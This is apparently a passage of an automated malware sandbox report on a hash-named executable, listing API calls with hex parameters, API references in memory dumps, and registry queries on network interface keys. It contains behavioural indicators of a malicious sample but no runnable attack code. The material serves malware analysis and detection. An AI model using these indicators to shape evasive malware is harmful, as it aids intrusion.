940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010004000000000000000000 (UID: 00000000-00004636) "RegSvcs.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebfe7488d6990000e0fd7ed30f377700a0fd7ee4f8010344e0fd7e00000000400000003f0000000f00000000e0fd7ed8f80103fa0f3777504243770f00000000e0fd7ed30f377700a0fd7efcf80103b88336770021437794463175d8ebfe74 (UID: 00000000-00004636) "RegSvcs.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100774134367798010000a0010000f22deb02f02deb024827eb020000ea022c26eb028800000088000000f5423677b829eb020ce43577f6546177c42deb02ac019400000094000000ea02b86dea021000ac0047060000b86dea027028eb02246eea02000000001100a70047060000b86dea02 (UID: 00000000-00004636) "RegSvcs.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000f01a1b7008000000c41a1b7082813ecf02000000d41c1b7000003300e6161b70e06ed700d06ed70044dc3200d0f01c7004dd320053af1c70324717bffeffffffc41a1b70421a1b70e6161b7098dc3200d91b1b70e6161b7067c11075a74c3375f41e34750000000000000000c0393275 (UID: 00000000-00004636) "RegSvcs.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000600000001000000b11d00000200000053657276696365205061636b20310000f01a1b7008000000c41a1b7082813ecf02000000d41c1b700000330002000000000000008800000044dc320084dc3200459d10750000d7000000000080000000020000000000330098131e7098dc3200 (UID: 00000000-00004636) "SearchIndexer.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004520) "SearchIndexer.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000010000003b55c41efe0700000000000000000000000000000000000000000000000000000000000000000000000000000000000065f7000001000000340905000100000000000000000000002041050001000000404105000100000018400500010000001df700000100000086020000 (UID: 00000000-00004520) "SearchIndexer.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b203100000000000090fc3e000000000000e0fdffff0700000000d6fefe070000604a300000000000000000000000000002000000000000000000000000000000d410d6fefe07000000a0fdffff07000000e0fdffff07000090fc3e00000000000e0000000000000089ce14fdfe07000000a0fdff (UID: 00000000-00004520)40:T406,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LookupAccountSidW" with param Name %OSUSER% (UID: 00000000-00003968) "powershell.exe" called "LookupAccountSidW" with param Name %OSUSER% (UID: 00000000-00001268) "RegSvcs.exe" called "LookupAccountSidW" with param Name %OSUSER% (UID: 00000000-00004636) "SearchIndexer.exe" called "LookupAccountSidW" (UID: 00000000-00004520) "SearchIndexer.exe" called "LookupAccountSidW" with param Name Authenticated Users (UID: 00000000-00004520) "SearchIndexer.exe" called "LookupAccountSidW" with param Name Administrators (UID: 00000000-00004520) "SearchIndexer.exe" called "LookupAccountSidW" with param Name SYSTEM (UID: 00000000-00004520) "SearchIndexer.exe" called "LookupAccountSidW" with param Name Backup Operators (UID: 00000000-00004520) "SearchIndexer.exe" called "LookupAccountSidW" with param Name NETWORK SERVICE (UID: 00000000-00004520) "SearchIndexer.exe" called "LookupAccountSidW" with param Name LOCAL SERVICE (UID: 00000000-00004520)41:T1861,Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathNamesForVolumeName"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathName"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindFirstVolumeW" (Indicator: "FindFirstVolume"; File: "00000000-00004520.00000001.74685.00051000.00000002.mdmp") Found reference to API "FindNextVolumeW" (Indicator: "FindNextVolume"; File: "00000000-00004520.00000001.74685.00051000.00000002.mdmp") Found reference to API "FindVolumeClose" (Indicator: "FindVolumeClose"; File: "00000000-00004520.00000001.74685.00051000.00000002.mdmp") Found reference to API "CVdsVolume::QueryAccessPathsToVolume: GetVolumePathNamesForVolumeName failed: %X" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CVdsVolume::QueryAccessPathsToVolume: GetVolumePathNamesForVolumeName failed: %X" (Indicator: "GetVolumePathName"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "FindFirstVolumeW" (Indicator: "FindFirstVolume"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "FindNextVolumeW" (Indicator: "FindNextVolume"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "FindVolumeClose" (Indicator: "FindVolumeClose"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "?AllocateAndGetVolumePathName@@YAJPEBGPEAPEAG@Z" (Indicator: "GetVolumePathName"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "FindFirstVolumeMountPointW" (Indicator: "FindFirstVolume"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "FindFirstVolumeMountPointW" (Indicator: "FindFirstVolumeMountPoint"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "FindNextVolumeMountPointW" (Indicator: "FindNextVolume"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "FindNextVolumeMountPointW" (Indicator: "FindNextVolumeMountPoint"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "FindVolumeMountPointClose" (Indicator: "FindVolumeMountPointClose"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetVolumeMountPointW" (Indicator: "SetVolumeMountPoint"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetVolumeMountPoint" (Indicator: "SetVolumeMountPoint"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumePathName" (Indicator: "GetVolumePathName"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumePathNamesForVolumeName(%s) failed with 0x%08lx" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumePathNamesForVolumeName(%s) failed with 0x%08lx" (Indicator: "GetVolumePathName"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumePathName(%s) failed with 0x%08lx" (Indicator: "GetVolumePathName"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumePathNamesForVolumeName(%s) fails with 0x%08lx" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumePathNamesForVolumeName(%s) fails with 0x%08lx" (Indicator: "GetVolumePathName"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetVolumeMountPoint(%s, %s) fails with 0x%08lx" (Indicator: "SetVolumeMountPoint"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumePathName(%s) failed with %d" (Indicator: "GetVolumePathName"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "FindFirstVolumeW/FindNextVolumeW fails with 0x%08lx winerror %d" (Indicator: "FindFirstVolume"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "FindFirstVolumeW/FindNextVolumeW fails with 0x%08lx winerror %d" (Indicator: "FindNextVolume"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumePathName(%s\%s) failed with %d" (Indicator: "GetVolumePathName"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")42:T62b,Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetSystemTimeAdjustment" (Indicator: "GetSystemTime"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp")43:T878,Found reference to API "GetFileTime" (Indicator: "GetFileTime"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp")44:T5ce,Found reference to API "SetupDiGetClassDevsW" (Indicator: "SetupDiGetClassDevs"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetupDiEnumDeviceInfo" (Indicator: "SetupDiEnumDeviceInfo"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetupDiGetDeviceRegistryPropertyW" (Indicator: "SetupDiGetDeviceRegistryProperty"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetupDiGetClassDevs failed with hr=%lX" (Indicator: "SetupDiGetClassDevs"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetupDiGetClassDevs(&, NULL, NULL, DIGCF_DEVICEINTERFACE | DIGCF_PRESENT)" (Indicator: "SetupDiGetClassDevs"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetupDiGetDeviceRegistryProperty(devInfo, NULL, &, [%d], &)" (Indicator: "SetupDiGetDeviceRegistryProperty"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetupDiGetClassDevs(DiskClassGuid, NULL, NULL, DIGCF_DEVICEINTERFACE | DIGCF_PRESENT)" (Indicator: "SetupDiGetClassDevs"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")45:T62b,Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetSystemTimeAdjustment" (Indicator: "GetSystemTime"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp")46:T5ac,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindWindowA" (Indicator: "FindWindow"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindWindowW" (Indicator: "FindWindow"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindWindowW" (Indicator: "FindWindow"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00003376.00000000.70935.40001000.00000020.mdmp")47:Tb2b,Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CVdsProvider::GetVersionSupport()" (Indicator: "GetVersion"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CVdsProvider::GetVersionSupport, 1, error=%lX" (Indicator: "GetVersion"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "9028598874,3432,3024,,RtlGetVersion,NTDLL.dll,"252:04:18.642",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00002944.00000000.72156.002A0000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "DllGetVersion" (Indicator: "GetVersion"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp")48:T14d4,Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathNamesForVolumeName"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetVolumeInformationW" (Indicator: "GetVolumeInformation"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetVolumeInformationByHandleW" (Indicator: "GetVolumeInformation"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetVolumeNameForVolumeMountPointW" (Indicator: "GetVolumeNameForVolumeMountPoint"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CVdsVolume::PostExtendVolumeHandler: NtQueryVolumeInformationFile (2) failed: %ld" (Indicator: "NtQueryVolumeInformationFile"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CVdsVolume::QueryAccessPathsToVolume: GetVolumePathNamesForVolumeName failed: %X" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CVdsVolume::Extend, 3: NtQueryVolumeInformationFile failed: %lX" (Indicator: "NtQueryVolumeInformationFile"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CVdsVolume::Extend, 3.2: NtQueryVolumeInformationFile failed: %lX" (Indicator: "NtQueryVolumeInformationFile"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CVdsVolume::QueryMaxReclaimableBytes(), 2, NtQueryVolumeInformationFile failed: %X" (Indicator: "NtQueryVolumeInformationFile"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "NtQueryVolumeInformationFile" (Indicator: "NtQueryVolumeInformationFile"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumeNameForVolumeMountPointW" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "::GetVolumeNameForVolumeMountPointW(pstrNewLongPath, wszVolumeGuidName, 260)" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetVolumeInformationW" (Indicator: "GetVolumeInformation"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumeNameForVolumeMountPointW will be called on %s" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumeNameForVolumeMountPoint(%s,...) failed with error code 0x%08lx" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumeNameForVolumeMountPointW succeeded and the output is %s" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtQueryVolumeInformationFile failed for volume %s, NTSTATUS 0x%08lx, NTSUCCESS %d, winerror 0x%08lx" (Indicator: "NtQueryVolumeInformationFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumeNameForVolumeMountPoint(%s) failed with 0x%08lx" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumePathNamesForVolumeName(%s) failed with 0x%08lx" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumeNameForVolumeMountPoint(%s)" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumeNameForVolumeMountPoint(%s) fails with 0x%08lx" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumeNameForVolumeMountPoint(%s) fail with 0x%08lx" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumeNameForVolumeMountPoint(%s) fails with 0x%08lx. We cannot accept this volume" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetVolumeNameForVolumeMountPoint(%s) fail on second time. with 0x%08lx. We cannot accept this volume" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")49:Ta2b,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "ENABLEDHCP"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTRATIONENABLED"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTERADAPTERNAME"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DOMAIN"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPDOMAIN"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: 